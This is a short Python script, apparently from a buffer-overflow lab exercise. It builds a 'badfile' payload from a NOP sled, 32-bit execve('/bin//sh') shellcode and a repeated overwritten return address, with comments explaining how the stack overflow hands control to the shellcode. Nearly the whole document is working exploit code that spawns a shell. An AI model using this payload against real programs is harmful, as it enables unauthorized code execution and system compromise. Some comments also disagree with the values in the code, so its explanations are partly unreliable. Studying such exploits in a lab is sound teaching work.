text: #!/usr/bin/python3
  import sys
  
  # Replace the content with the actual shellcode
  shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
  ).encode('latin-1')
  
  # Fill the content with NOP's
  content = bytearray(0x90 for i in range(517))
  
  
  
  # In order to construct one payload that will work for any stack in that range, we need to fill the buffer initially with instruction pointers. Since we don't know where the return value will be stored, we need to fill the first 250 characters with it (based on observations from the previous task, this should account for any extra distance between the start of the buffer and the return instruction). The instruction should point to the location in memory of the shellcode. This will cause the ret value to get overwritten at some point after the overflow is run and then automatically execute the shellcode.
  
  
  
  ##################################################################
  # Put the shellcode somewhere in the payload
  start = 516 - len(shellcode)             # Change this number 
  content[start:start + len(shellcode)] = shellcode
  
  # Decide the return address value 
  # and put it somewhere in the payload
  buffer_addr = 0xffffca8d # Location of the buffer in memory
  ret    = buffer_addr + 450     # Add enough length (multiples of 4) to reach the NOP instructions and, eventually, the shellcode
  offset = 0            # 123 is the distance between the buffer and the instruction in the stack, so 127 is the inclusive distance (instruction size is 4)
  
  L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
  for i in range(0, 63):
    content[i*4:i*4+L] = (ret).to_bytes(L, byteorder='little')
  ##################################################################
  
  # Write the content to a file
  with open('badfile', 'wb') as f:
    f.write(content)
  